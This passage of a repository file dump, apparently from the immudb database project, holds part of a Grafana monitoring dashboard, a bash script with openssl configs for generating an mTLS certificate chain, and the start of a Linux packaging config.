\"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 18,\n                        \"y\": 43\n                    },\n                    \"id\": 59,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  immudb_btree_compacted_nodes_last_cycle{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"},\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} {{kind}} nodes ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Compaction progress - nodes\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            },\n                            \"unit\": \"bytes\"\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 12,\n                        \"x\": 0,\n                        \"y\": 51\n                    },\n                    \"id\": 69,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  immudb_btree_nodes_data_end{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}-\\n  immudb_btree_nodes_data_begin{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"},\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Nodes data size\",\n                    \"type\": \"timeseries\"\n                }\n            ],\n            \"title\": \"BTree insights\",\n            \"type\": \"row\"\n        },\n        {\n            \"collapsed\": true,\n            \"datasource\": \"${datasource}\",\n            \"gridPos\": {\n                \"h\": 1,\n                \"w\": 24,\n                \"x\": 0,\n                \"y\": 27\n            },\n            \"id\": 12,\n            \"panels\": [\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"thresholds\"\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 12,\n                        \"x\": 0,\n                        \"y\": 60\n                    },\n                    \"id\": 2,\n                    \"options\": {\n                        \"displayMode\": \"gradient\",\n                        \"orientation\": \"auto\",\n                        \"reduceOptions\": {\n                            \"calcs\": [\n                                \"lastNotNull\"\n                            ],\n                            \"fields\": \"\",\n                            \"values\": false\n                        },\n                        \"showUnfilled\": true,\n                        \"text\": {}\n                    },\n                    \"pluginVersion\": \"8.3.3\",\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": false,\n                            \"expr\": \"sum(immudb_remoteapp_open_time_bucket{instance=~\\\"$instance\\\"}) by (le)\",\n                            \"format\": \"heatmap\",\n                            \"instant\": false,\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{le}}\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"immudb_remoteapp_open_time (sec)\",\n                    \"type\": \"bargauge\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            },\n                            \"unit\": \"binBps\"\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 12,\n                        \"x\": 12,\n                        \"y\": 60\n                    },\n                    \"id\": 4,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"pluginVersion\": \"8.2.1\",\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"rate(immudb_remoteapp_read_bytes{instance=~\\\"$instance\\\"}[$__rate_interval])\",\n                            \"instant\": false,\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{instance}}\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"S3 I/O\",\n                    \"type\": \"timeseries\"\n                }\n            ],\n            \"title\": \"S3 statistics\",\n            \"type\": \"row\"\n        }\n    ],\n    \"refresh\": \"\",\n    \"schemaVersion\": 34,\n    \"style\": \"dark\",\n    \"tags\": [],\n    \"templating\": {\n        \"list\": [\n            {\n                \"current\": {\n                    \"selected\": false,\n                    \"text\": \"Prometheus\",\n                    \"value\": \"Prometheus\"\n                },\n                \"hide\": 0,\n                \"includeAll\": false,\n                \"multi\": false,\n                \"name\": \"datasource\",\n                \"options\": [],\n                \"query\": \"prometheus\",\n                \"queryValue\": \"\",\n                \"refresh\": 1,\n                \"regex\": \"\",\n                \"skipUrlSync\": false,\n                \"type\": \"datasource\"\n            },\n            {\n                \"allValue\": \"\",\n                \"current\": {\n                    \"selected\": true,\n                    \"text\": [\n                        \"All\"\n                    ],\n                    \"value\": [\n                        \"$__all\"\n                    ]\n                },\n                \"datasource\": \"${datasource}\",\n                \"definition\": \"label_values(immudb_db_size_bytes, instance)\",\n                \"hide\": 0,\n                \"includeAll\": true,\n                \"label\": \"Instance\",\n                \"multi\": true,\n                \"name\": \"instance\",\n                \"options\": [],\n                \"query\": {\n                    \"query\": \"label_values(immudb_db_size_bytes, instance)\",\n                    \"refId\": \"StandardVariableQuery\"\n                },\n                \"refresh\": 2,\n                \"regex\": \"\",\n                \"skipUrlSync\": false,\n                \"sort\": 1,\n                \"tagValuesQuery\": \"\",\n                \"tagsQuery\": \"\",\n                \"type\": \"query\",\n                \"useTags\": false\n            },\n            {\n                \"allValue\": \"\",\n                \"current\": {\n                    \"selected\": true,\n                    \"text\": [\n                        \"All\"\n                    ],\n                    \"value\": [\n                        \"$__all\"\n                    ]\n                },\n                \"datasource\": \"${datasource}\",\n                \"definition\": \"label_values(immudb_db_size_bytes{instance=~\\\"$instance\\\"}, db)\",\n                \"hide\": 0,\n                \"includeAll\": true,\n                \"label\": \"Database\",\n                \"multi\": true,\n                \"name\": \"db\",\n                \"options\": [],\n                \"query\": {\n                    \"query\": \"label_values(immudb_db_size_bytes{instance=~\\\"$instance\\\"}, db)\",\n                    \"refId\": \"StandardVariableQuery\"\n                },\n                \"refresh\": 2,\n                \"regex\": \"\",\n                \"skipUrlSync\": false,\n                \"sort\": 1,\n                \"tagValuesQuery\": \"\",\n                \"tagsQuery\": \"\",\n                \"type\": \"query\",\n                \"useTags\": false\n            }\n        ]\n    },\n    \"time\": {\n        \"from\": \"now-1h\",\n        \"to\": \"now\"\n    },\n    \"timepicker\": {},\n    \"timezone\": \"\",\n    \"title\": \"Immudb\",\n    \"uid\": \"Z4nwbT87z\",\n    \"version\": 1,\n    \"weekStart\": \"\"\n}"
  },
  {
    "path": "tools/mtls/.gitignore",
    "content": "1_root/\n2_intermediate/\n3_application/\n4_client/\nverify_cert.log\nverify_key.log\n"
  },
  {
    "path": "tools/mtls/generate.sh",
    "content": "#!/bin/bash -e\n\n# In this script an intermediate certificate is created from a root certificate\n\nif [[ $1 = \"cleanup\" ]]; then\n  rm -rf 1_root\n  rm -rf 2_intermediate\n  rm -rf 3_application\n  rm -rf 4_client\n\n  exit 0\nfi\n\nif [[ $1 = \"\" ]]; then\n  echo \"please specify a domain ./generate.sh www.example.com\"\n  exit 1\nfi\n\nif [[ $2 == \"\" ]]; then\n  echo \"please specify a password for the private key\"\n  exit 1\nfi\n\nexport SAN=DNS:$1\n\necho\necho Generate the root key\necho ---\nmkdir -p 1_root/private\n# Root private key generation.\nopenssl genrsa -aes128 -passout pass:$2 -out 1_root/private/ca.key.pem 3072\nchmod 444 1_root/private/ca.key.pem\n\n\necho\necho Generate the root certificate\necho ---\nmkdir -p 1_root/certs\nmkdir -p 1_root/newcerts\ntouch 1_root/index.txt\necho \"100212\" > 1_root/serial\n# Certificate request generation\n# req - PKCS#10 certificate request and certificate generating utility\n# -config openssl.cnf see file\n# -new\n# This option generates a new certificate request. It will prompt the user for the relevant field values.\n# The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file\n# and any requested extensions.\n# - key If the -key option is not used it will generate a new RSA private key using information specified in the\n# configuration file.\n# -extensions see openssl.cnf\n# -subj arg Sets subject name for new request or supersedes the subject name when processing a request.  The arg must\n# be formatted as /type0=value0/type1=value1/type2=..., characters may be escaped by \\ (backslash), no\n# spaces are skipped.\n# -subj:\n# Country Name (2 letter code) [AU]:GB\n# State or Province Name (full name) [Some-State]:.\n# Locality Name (eg, city) []:London\n# Organization Name (eg, company) [Internet Widgits Pty Ltd]:Feisty Duck Ltd\n# Organizational Unit Name (eg, section) []:\n# Common Name (e.g. server FQDN or YOUR name) []:www.feistyduck.com\n# Email Address []:webmaster@feistyduck.com\n# Please enter the following 'extra' attributes\n# to be sent with your certificate request\n# A challenge password []:\n# An optional company name []:\nopenssl req -config openssl.cnf \\\n      -key 1_root/private/ca.key.pem \\\n      -passin pass:$2 \\\n      -new -x509 -days 7300 -sha256 -extensions v3_ca \\\n      -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1\" \\\n      -out 1_root/certs/ca.cert.pem\n\n\necho\necho Verify root key\necho ---\n# x509 - Certificate display and signing utility\n# -noout This option prevents output of the encoded version of the request\n# -text\n# Prints out the certificate in text form. Full details are output including the public key, signature\n# algorithms, issuer and subject names, serial number any extensions present and any trust settings.\nopenssl x509 -noout -text -in 1_root/certs/ca.cert.pem\n\necho\necho Generate the key for the intermediary certificate\necho ---\nmkdir -p 2_intermediate/private\n# Intermediate private key\nopenssl genrsa -aes128 \\\n  -passout pass:$2 \\\n  -out 2_intermediate/private/intermediate.key.pem 3072\n\nchmod 444 2_intermediate/private/intermediate.key.pem\n\n\necho\necho Generate the signing request for the intermediary certificate\necho ---\nmkdir -p 2_intermediate/csr\n# Certificate request\n# req - PKCS#10 certificate request and certificate generating utility\n# -config openssl.cnf vedi configurazione allegata\n# -new\n# This option generates a new certificate request. It will prompt the user for the relevant field values.\n# The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file\n# and any requested extensions.\n# If the -key option is not used it will generate a new RSA private key using information specified in the\n# configuration file.\nopenssl req -config openssl.cnf -new -sha256 \\\n      -passin pass:$2 \\\n      -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1\" \\\n      -key 2_intermediate/private/intermediate.key.pem \\\n      -out 2_intermediate/csr/intermediate.csr.pem\n\n\necho\necho Sign the intermediary\necho ---\nmkdir -p 2_intermediate/certs\nmkdir -p 2_intermediate/newcerts\ntouch 2_intermediate/index.txt\necho \"100212\" > 2_intermediate/serial\n\n# Intermediate certificate sign\n# The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms\n# and generate CRLs(Certificate Revocation List) it also maintains a text database of issued certificates and their status.\n# -passin arg The key password source.\n# -days arg The number of days to certify the certificate for.\n# -notext Don't output the text form of a certificate to the output file.\n# -md alg The message digest to use. Any digest supported by the OpenSSL dgst command can be used. This option also applies to\n# -in filename An input filename containing a single certificate request to be signed by the CA.\nopenssl ca -config openssl.cnf -extensions v3_intermediate_ca \\\n        -passin pass:$2 \\\n        -days 3650 -notext -md sha256 \\\n        -in 2_intermediate/csr/intermediate.csr.pem \\\n        -out 2_intermediate/certs/intermediate.cert.pem\n\nchmod 444 2_intermediate/certs/intermediate.cert.pem\n\n\necho\necho Verify intermediary\necho ---\nopenssl x509 -noout -text \\\n      -in 2_intermediate/certs/intermediate.cert.pem\n\nopenssl verify -CAfile 1_root/certs/ca.cert.pem \\\n      2_intermediate/certs/intermediate.cert.pem\n\n\necho\necho Create the chain file\necho ---\n# Chain file creation\ncat 2_intermediate/certs/intermediate.cert.pem \\\n      1_root/certs/ca.cert.pem > 2_intermediate/certs/ca-chain.cert.pem\n\nchmod 444 2_intermediate/certs/ca-chain.cert.pem\n\n\necho\necho Create the application key\necho ---\nmkdir -p 3_application/private\n# Server private key\nopenssl genrsa \\\n      -passout pass:$2 \\\n    -out 3_application/private/$1.key.pem 3072\n\nchmod 444 3_application/private/$1.key.pem\n\n\necho\necho Create the application signing request\necho ---\nmkdir -p 3_application/csr\n# Server certificate request is created from intermediate cert -> intermediate_openssl.cnf\n# req - PKCS#10 certificate request and certificate generating utility\n# -config openssl.cnf vedi configurazione allegata\n# -new\n# This option generates a new certificate request. It will prompt the user for the relevant field values.\n# The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file\n# and any requested extensions.\n# If the -key option is not used it will generate a new RSA private key using information specified in the\n# configuration file.\n# -subj arg Sets subject name for new request or supersedes the subject name when processing a request.  The arg must\n# be formatted as /type0=value0/type1=value1/type2=..., characters may be escaped by \\ (backslash), no\n# spaces are skipped.\n# -subj:\n# Country Name (2 letter code) [AU]:GB\n# State or Province Name (full name) [Some-State]:.\n# Locality Name (eg, city) []:London\n# Organization Name (eg, company) [Internet Widgits Pty Ltd]:Feisty Duck Ltd\n# Organizational Unit Name (eg, section) []:\n# Common Name (e.g. server FQDN or YOUR name) []:www.feistyduck.com\n# Email Address []:webmaster@feistyduck.com\n# Please enter the following 'extra' attributes\n# to be sent with your certificate request\n# A challenge password []:\n# An optional company name []:\nopenssl req -config intermediate_openssl.cnf \\\n      -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1\" \\\n      -passin pass:$2 \\\n      -key 3_application/private/$1.key.pem \\\n      -new -sha256 -out 3_application/csr/$1.csr.pem\n\n\necho\necho Create the application certificate\necho ---\nmkdir -p 3_application/certs\n# Server certificate sign from intermediate\n# The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms\n# and generate CRLs(Certificate Revocation List) it also maintains a text database of issued certificates and their status.\n# -passin arg The key password source.\n# -days arg The number of days to certify the certificate for.\n# -notext Don't output the text form of a certificate to the output file.\n# -md alg The message digest to use. Any digest supported by the OpenSSL dgst command can be used. This option also applies to\n# -in filename An input filename containing a single certificate request to be signed by the CA.\nopenssl ca -config intermediate_openssl.cnf \\\n      -passin pass:$2 \\\n      -extensions server_cert -days 375 -notext -md sha256 \\\n      -in 3_application/csr/$1.csr.pem \\\n      -out 3_application/certs/$1.cert.pem\n\nchmod 444 3_application/certs/$1.cert.pem\n\n\necho\necho Validate the certificate\necho ---\nopenssl x509 -noout -text \\\n      -in 3_application/certs/$1.cert.pem\n\n\necho\necho Validate the certificate has the correct chain of trust\necho ---\nopenssl verify -CAfile 2_intermediate/certs/ca-chain.cert.pem \\\n      3_application/certs/$1.cert.pem\n\n\necho\necho Generate the client key\necho ---\nmkdir -p 4_client/private\n# Create Client key\nopenssl genrsa \\\n    -passout pass:$2 \\\n    -out 4_client/private/$1.key.pem 3072\n\nchmod 444 4_client/private/$1.key.pem\n\n\necho\necho Generate the client signing request\necho ---\nmkdir -p 4_client/csr\n# Client certification is created from intermediate cert -> intermediate_openssl.cnf\n# req - PKCS#10 certificate request for client\nopenssl req -config intermediate_openssl.cnf \\\n      -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=$1\" \\\n      -passin pass:$2 \\\n      -key 4_client/private/$1.key.pem \\\n      -new -sha256 -out 4_client/csr/$1.csr.pem\n\n\necho\necho Create the client certificate\necho ---\nmkdir -p 4_client/certs\n# Client certificate sign from intermediate\n# The ca command is a minimal CA application. It can be used to sign certificate requests in a variety of forms\n# and generate CRLs(Certificate Revocation List) it also maintains a text database of issued certificates and their status.\n# -passin arg The key password source.\n# -days arg The number of days to certify the certificate for.\n# -notext Don't output the text form of a certificate to the output file.\n# -md alg The message digest to use. Any digest supported by the OpenSSL dgst command can be used. This option also applies to\n# -in filename An input filename containing a single certificate request to be signed by the CA.\nopenssl ca -config intermediate_openssl.cnf \\\n      -passin pass:$2 \\\n      -extensions usr_cert -days 375 -notext -md sha256 \\\n      -in 4_client/csr/$1.csr.pem \\\n      -out 4_client/certs/$1.cert.pem\n\nchmod 444 4_client/certs/$1.cert.pem\n"
  },
  {
    "path": "tools/mtls/intermediate_openssl.cnf",
    "content": "[ ca ]\n# `man ca`\ndefault_ca = CA_default\n\n[ CA_default ]\n# Directory and file locations.\ndir               = 2_intermediate\ncertificate       = $dir/certs/intermediate.cert.pem\ncerts             = $dir/certs\ncrl_dir           = $dir/crl\ncrl               = $dir/crl/intermediate.crl.pem\nnew_certs_dir     = $dir/newcerts\ndatabase          = $dir/index.txt\nserial            = $dir/serial\nRANDFILE          = $dir/private/.rand\nprivate_key       = $dir/private/intermediate.key.pem\npolicy            = policy_loose\nunique_subject    = no\n\n# For certificate revocation lists.\ncrlnumber         = $dir/crlnumber\ncrl_extensions    = crl_ext\ndefault_crl_days  = 30\n\n# SHA-1 is deprecated, so use SHA-2 instead.\ndefault_md        = sha256\n\nname_opt          = ca_default\ncert_opt          = ca_default\ndefault_days      = 375\npreserve          = no\n\n[ policy_strict ]\n# The root CA should only sign intermediate certificates that match.\n# See the POLICY FORMAT section of `man ca`.\ncountryName             = match\nstateOrProvinceName     = match\norganizationName        = match\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ policy_loose ]\n# Allow the intermediate CA to sign a more diverse range of certificates.\n# See the POLICY FORMAT section of the `ca` man page.\ncountryName             = optional\nstateOrProvinceName     = optional\nlocalityName            = optional\norganizationName        = optional\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ req ]\n# Options for the `req` tool (`man req`).\ndefault_bits        = 2048\ndistinguished_name  = req_distinguished_name\nstring_mask         = utf8only\n\n# SHA-1 is deprecated, so use SHA-2 instead.\ndefault_md          = sha256\n\n# Extension to add when the -x509 option is used.\nx509_extensions     = v3_ca\n\n[ req_distinguished_name ]\n# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.\ncountryName                     = Country Name (2 letter code)\nstateOrProvinceName             = State or Province Name\nlocalityName                    = Locality Name\n0.organizationName              = Organization Name\norganizationalUnitName          = Organizational Unit Name\ncommonName                      = Common Name\nemailAddress                    = Email Address\n\n# Optionally, specify some defaults.\ncountryName_default             = GB\nstateOrProvinceName_default     = England\nlocalityName_default            =\n0.organizationName_default      = Alice Ltd\ncommonName_default              = localhost\n#organizationalUnitName_default =\n#emailAddress_default           =\n\n[ v3_ca ]\n# Extensions for a typical CA (`man x509v3_config`).\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid:always,issuer\nbasicConstraints = critical, CA:true\nkeyUsage = critical, digitalSignature, cRLSign, keyCertSign\nsubjectAltName = $ENV::SAN\n\n[ usr_cert ]\n# Extensions for client certificates (`man x509v3_config`).\nbasicConstraints = CA:FALSE\nnsCertType = client, email\nnsComment = \"OpenSSL Generated Client Certificate\"\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid,issuer\nkeyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment\nextendedKeyUsage = clientAuth, emailProtection\n\n[ v3_intermediate_ca ]\n# Extensions for a typical intermediate CA (`man x509v3_config`).\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid:always,issuer\nbasicConstraints = critical, CA:true, pathlen:0\nkeyUsage = critical, digitalSignature, cRLSign, keyCertSign\nsubjectAltName = $ENV::SAN\n\n[ server_cert ]\n# Extensions for server certificates (`man x509v3_config`).\nbasicConstraints = CA:FALSE\nnsCertType = server\nnsComment = \"OpenSSL Generated Server Certificate\"\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid,issuer:always\nkeyUsage = critical, digitalSignature, keyEncipherment\nextendedKeyUsage = serverAuth\nsubjectAltName = $ENV::SAN\n\n[ crl_ext ]\n# Extension for CRLs (`man x509v3_config`).\nauthorityKeyIdentifier=keyid:always\n\n[ ocsp ]\n# Extension for OCSP signing certificates (`man ocsp`).\nbasicConstraints = CA:FALSE\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid,issuer\nkeyUsage = critical, digitalSignature\nextendedKeyUsage = critical, OCSPSigning\n"
  },
  {
    "path": "tools/mtls/openssl.cnf",
    "content": "[ ca ]\n# `man ca`\ndefault_ca = CA_default\n\n[ CA_default ]\n# Directory and file locations.\ndir               = 1_root\ncerts             = $dir/certs\ncrl_dir           = $dir/crl\nnew_certs_dir     = $dir/newcerts\ndatabase          = $dir/index.txt\nserial            = $dir/serial\nRANDFILE          = $dir/private/.rand\nunique_subject    = no\n\n# The root key and root certificate.\nprivate_key       = $dir/private/ca.key.pem\ncertificate       = $dir/certs/ca.cert.pem\n\n# For certificate revocation lists.\ncrlnumber         = $dir/crlnumber\ncrl               = $dir/crl/ca.crl.pem\ncrl_extensions    = crl_ext\ndefault_crl_days  = 30\n\n# SHA-1 is deprecated, so use SHA-2 instead.\ndefault_md        = sha256\n\nname_opt          = ca_default\ncert_opt          = ca_default\ndefault_days      = 375\npreserve          = no\npolicy            = policy_strict\n\n[ policy_strict ]\n# The root CA should only sign intermediate certificates that match.\n# See the POLICY FORMAT section of `man ca`.\ncountryName             = match\nstateOrProvinceName     = match\norganizationName        = match\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ policy_loose ]\n# Allow the intermediate CA to sign a more diverse range of certificates.\n# See the POLICY FORMAT section of the `ca` man page.\ncountryName             = optional\nstateOrProvinceName     = optional\nlocalityName            = optional\norganizationName        = optional\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ req ]\n# Options for the `req` tool (`man req`).\ndefault_bits        = 2048\ndistinguished_name  = req_distinguished_name\nstring_mask         = utf8only\n\n# SHA-1 is deprecated, so use SHA-2 instead.\ndefault_md          = sha256\n\n# Extension to add when the -x509 option is used.\nx509_extensions     = v3_ca\n\n[ req_distinguished_name ]\n# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.\ncountryName                     = Country Name (2 letter code)\nstateOrProvinceName             = State or Province Name\nlocalityName                    = Locality Name\n0.organizationName              = Organization Name\norganizationalUnitName          = Organizational Unit Name\ncommonName                      = Common Name\nemailAddress                    = Email Address\n\n# Optionally, specify some defaults.\ncountryName_default             = GB\nstateOrProvinceName_default     = England\nlocalityName_default            =\n0.organizationName_default      = Alice Ltd\ncommonName_default              = localhost\n#organizationalUnitName_default =\n#emailAddress_default           =\n\n[ v3_ca ]\n# Extensions for a typical CA (`man x509v3_config`).\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid:always,issuer\nbasicConstraints = critical, CA:true\nkeyUsage = critical, digitalSignature, cRLSign, keyCertSign\nsubjectAltName = $ENV::SAN\n\n[ usr_cert ]\n# Extensions for client certificates (`man x509v3_config`).\nbasicConstraints = CA:FALSE\nnsCertType = client, email\nnsComment = \"OpenSSL Generated Client Certificate\"\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid,issuer\nkeyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment\nextendedKeyUsage = clientAuth, emailProtection\nsubjectAltName = @alt_names\n\n[ v3_intermediate_ca ]\n# Extensions for a typical intermediate CA (`man x509v3_config`).\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid:always,issuer\nbasicConstraints = critical, CA:true, pathlen:0\nkeyUsage = critical, digitalSignature, cRLSign, keyCertSign\nsubjectAltName = $ENV::SAN\n\n[ server_cert ]\n# Extensions for server certificates (`man x509v3_config`).\nbasicConstraints = CA:FALSE\nnsCertType = server\nnsComment = \"OpenSSL Generated Server Certificate\"\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid,issuer:always\nkeyUsage = critical, digitalSignature, keyEncipherment\nextendedKeyUsage = serverAuth\n\n[ crl_ext ]\n# Extension for CRLs (`man x509v3_config`).\nauthorityKeyIdentifier=keyid:always\n\n[ ocsp ]\n# Extension for OCSP signing certificates (`man ocsp`).\nbasicConstraints = CA:FALSE\nsubjectKeyIdentifier = hash\nauthorityKeyIdentifier = keyid,issuer\nkeyUsage = critical, digitalSignature\nextendedKeyUsage = critical, OCSPSigning\n"
  },
  {
    "path": "tools/packaging/conf/nfpm.yaml",
    "content": "name: \"immudb\"\narch: \"amd64\"\nplatform: \"linux\"\nversion: \"${VERSION}\"\nsection: \"default\"\npriority: \"extra\"\nreplaces:\n- immudb\nprovides:\n- immudb\n- immugw\n- immuclient\ndepends:\n- adduser\nmaintainer: \"<info@codenotary.com>\"\ndescription: |\n  immudb - the tamperproof database\nvendor: \"Codenotary Inc.\"\nhomepage: \"https://github.com/codenotary/immudb\"\nlicense: \"Apache 2\"\nbindir: \"/usr/sbin\"\nfiles:\n  \"./bin/immudb\": \"/usr/sbin/immudb\"\n  \"./bin/immugw\": \"/usr/sbin/immugw\"\n  \"./bin/immuclient\": \"/usr/local/bin/immuclient\"\nconfig_files:\n  ./packaging/deb/init.d/immudb: \"/etc/init.d/immudb\"\n  ./packaging/deb/init.d/immugw: \"/etc/init.d/immugw\"\n  ./packaging/deb/default/immudb: \"/etc/default/immudb\"\n  ./packaging/deb/default/immugw: \"/etc/default/immugw\"\n  ./packaging/deb/default/immudb.toml.dist: \"/etc/immudb/immudb.toml\"\n  ./packaging/deb/default/immugw.toml.dist: \"/etc/immudb/immugw.toml\"\n  ./packaging/deb/default/immuclient.toml.dist: \"/etc/immudb/immuclient.toml\"\n  ./packaging/deb/systemd/immudb.service: \"/usr/lib/systemd/system/immudb.service\"\n  ./packaging/deb/systemd/immugw.service: \"/usr/lib/systemd/system/immugw.service\"\n  ./packaging/deb/man/immuclient.1: \"/usr/local/share/man/man1\"\n  ./packaging/deb/man/immudb.1: \"/usr/local/share/man/man1\"\n  ./packaging/deb/man/immugw.1: \"/usr/local/share/man/man1\"\n\n\noverrides:\n  rpm:\n    